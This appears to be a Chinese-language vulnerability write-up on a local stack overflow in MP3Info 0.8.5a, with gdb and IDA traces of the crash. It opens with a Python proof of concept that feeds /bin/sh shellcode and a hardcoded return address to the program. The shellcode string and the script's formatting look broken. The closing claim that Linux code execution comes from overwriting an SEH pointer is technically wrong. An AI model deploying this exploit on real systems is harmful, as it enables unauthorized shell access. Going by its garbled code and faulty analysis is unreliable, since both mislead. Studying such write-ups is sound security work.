作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/cb7b619a10a40aaac2113b87bb2b2ea2-mp3info-0.8.5a.tgz
PoC:
junk = "\x90\x90\x90\x90"*8
shellcode = "\x31\xc0\x50\x68/\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer = "\x90\x90\x90\x90"*89
eip = "\x10\xf0\xff\xbf"
print "# MP3info is prone to a Stack-BoF"
print "# Wasting CPU clocks on unusable exploits"
print "# This is exploit is for educational purposes"
try:
subprocess.call(["mp3info", junk+shellcode+buffer+eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "MP3Info not found!"
else:
print "Error executing exploit"
raise
测试环境:
Kali 2.0
这个漏洞是个本地代码执行漏洞,poc的意思其实也就是调用mp3info,通过命令行传入畸形字符串,可以直接用$python -c的方法传入畸形字符串也可以的。用gdb打开,然后run $python -c+畸形字符串就可以直接到达漏洞现场,这个是我调试的第一个Linux漏洞,漏洞比较基础,有代表性。
此漏洞是我的第一篇linux分析,特此纪念一下!GET了很多新的linux下的调试方法,非常有收获。
漏洞复现
此漏洞并不像详情描述的那样,而是在处理MP3路径时,由于路径不可读,而转入错误处理流程时,错误的将文件路径传入,作为错误信息传入linux的perror()函数,在处理过程中发生错误,进入SEH异常函数,再通过覆盖SEH指针执行任意代码。下面对此漏洞进行详细分析。
首先我们需要在linux下编译MP3Info,需要下载一个依赖的头文件libncurses5-dev,安装后可以编译MP3Info,编译完成后,我们不利用poc,直接用python输入畸形字符串。
root@root:~/Desktop/mp3info-0.8.5a# ./mp3info $(python -c 'print "\x41"*100')
Error opening MP3: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directory
root@root:~/Desktop/mp3info-0.8.5a# ./mp3info $(python -c 'print "\x41"*700')
Segmentation fault
可以看到,当畸形字符串长度到达700的时候,提示Segmentation fault,也就是指针出现错误,或者发生了缓冲区溢出。我们用gdb-peda来看一下崩溃时的信息。
首先是崩溃点。
[-------------------------------------code-------------------------------------]
0xb7e067cb <__GI_getenv+107>: mov esi,DWORD PTR [ebp+0x0]
0xb7e067ce <__GI_getenv+110>: test esi,esi
0xb7e067d0 <__GI_getenv+112>: je 0xb7e0682a <__GI_getenv+202>
=> 0xb7e067d2 <__GI_getenv+114>: cmp di,WORD PTR [esi]
可以看到,在cmp比较语句时发生了错误,基本可以判断esi寄存器应该是个不可读的地址。
[----------------------------------registers-----------------------------------]
EAX: 0x6
EBX: 0xb7f7c000 --> 0x1a5da8
ECX: 0x414c ('LA')
EDX: 0xffbab8be
ESI: 0x41414141 ('AAAA')
可以看到ESI的值确实是不可读的地址41414141,那么我们现在来回溯堆栈调用。
gdb-peda$ bt
#0 __GI_getenv (name=0xb7f32ff5 "NGUAGE", name@entry=0xb7f32ff3 "LANGUAGE")
at getenv.c:85
#1 0xb7dff10e in guess_category_value (
categoryname=0xb7f1c953 <_nl_category_names+51> "LC_MESSAGES",
category=<optimized out>) at dcigettext.c:1356
#2 __dcigettext (
domainname=domainname@entry=0xb7f32fae <_libc_intl_domainname> "libc",
msgid1=msgid1@entry=0xb7f336a5 "File name too long",
msgid2=msgid2@entry=0x0, plural=plural@entry=0x0, n=n@entry=0x0,
category=category@entry=0x5) at dcigettext.c:561
#3 0xb7dfe1f3 in __GI___dcgettext (
domainname=0xb7f32fae <_libc_intl_domainname> "libc",
msgid=0xb7f336a5 "File name too long", category=category@entry=0x5)
at dcgettext.c:52
#4 0xb7e4ff2f in __GI___strerror_r (errnum=errnum@entry=0x24,
buf=buf@entry=0xbfffea20 "@\360\377\267", buflen=buflen@entry=0x400)
at _strerror.c:71
#5 0xb7e36257 in perror_internal (fp=fp@entry=0x804f008,
s=s@entry=0xbffff040 "Error opening MP3: ", 'A' <repeats 181 times>...,
errnum=errnum@entry=0x24) at perror.c:37
#6 0xb7e3633e in __GI_perror (
s=0xbffff040 "Error opening MP3: ", 'A' <repeats 181 times>...)
at perror.c:74
#7 0x08049597 in main (
argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>)
at mp3info.c:195
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
我们主要来看0x08049597这个位置的调用,因为之后就进入系统函数了,那么我们就从0x08049597这个位置开始,进行分析。
漏洞分析
通过ida打开这个elf文件,我们来看一下0x08049597处的调用情况。
loc_804957B:
fp = eax ; FILE *
lea edi, [ebp+error_msg]
fp = edx ; FILE *
push eax
push dword ptr [esi]
push offset aErrorOpeningMp ; "Error opening MP3: %s"
push edi ; s
call _sprintf
mov [esp], edi ; s
call _perror
可以看到,在漏洞发生前call调用了perror这个系统函数,这个系统函数是用来输出错误信息的,而其参数为一个指针。
void perror(const char *s);
我们向上回溯,可以看到一fopen打开操作。
.text:08049180 loc_8049180: ; CODE XREF: main+581j
.text:08049180 cmp [ebp+view_only], 1
.text:08049187 jz loc_804933E
.text:0804918D sub esp, 8
.text:08049190 push offset modes ; "rb+"
.text:08049195
.text:08049195 loc_8049195: ; CODE XREF: main+5C5j
.text:08049195 push dword ptr [esi] ; filename
.text:08049197 call _fopen
进行fopen之后,会有一处跳转,当文件不能打开时,会进入perror()函数对应的分支处理,那么我们就从fopen下断点开始跟踪,还原漏洞发生的整个过程。
我们利用
b*0x08049197
在fopen处下断点,观察一下到达此时栈的情况,首先是栈内的情况。
[------------------------------------stack-------------------------------------]
0000| 0xbfffee10 --> 0xbffff337 ('A' <repeats 200 times>...)
0004| 0xbfffee14 --> 0x804b8dd --> 0x45006272 ('rb')
0008| 0xbfffee18 --> 0x1
此时栈顶的的值分别为0xbffff337和0x804b8dd,栈情况在后面显示的已经很明显,此时0xbffff337对应的文件路径。
gdb-peda$ x/10x 0xbffff337
0xbffff337: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff347: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff357: 0x41414141 0x41414141
当然啦,这个就是畸形字符串了,也是无法打开的,接下来,进入无法打开文件的分支。
gdb-peda$ x/10x $esi
0xbffff208: 0xbffff39b 0x00000000 0xbffff658 0xbffff663
0xbffff218: 0xbffff674 0xbffff687 0xbffff6b2 0xbffff6c3
0xbffff228: 0xbffff6da 0xbffff6ea
gdb-peda$ x/10x 0xbffff39b
0xbffff39b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3ab: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3bb: 0x41414141 0x41414141
执行到perror的时候,可以看到此时esi已经是畸形字符串了,而直到此时,还没有对perror的参数,接下来执行到perror的处理中时。
gdb-peda$ x/100x $ebp
0xbffff210: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff220: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff230: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff240: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff250: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141
此时我们来回顾一下之前为什么会出现这种情况,前面的fopen附近都没有什么问题,问题出现在perror之前。
loc_804957B:
fp = eax ; FILE *
lea edi, [ebp+error_msg]
fp = edx ; FILE *
push eax
push dword ptr [esi]
push offset aErrorOpeningMp ; "Error opening MP3: %s"
push edi ; s
call _sprintf
mov [esp], edi ; s
call _perror
这里我们就不用ida进行反编译了,我们直接来看一下这个函数
sprintf(edi,offset aErrorOpeningMp,[esi],eax)
perror(edi)
那么问题来了,实际上edi就是错误消息,而这个错误消息却被esi赋值,esi的值就是错误路径的值,这时传入会造成ebp被覆盖,上面已经展示了,覆盖后有一处会将ebp+0x00的值读取给esi,后面又调用esi的地址做cmp,从而造成地址不可读。
接下来进入seh异常处理函数,通过覆盖seh指针,可造成任意代码执行。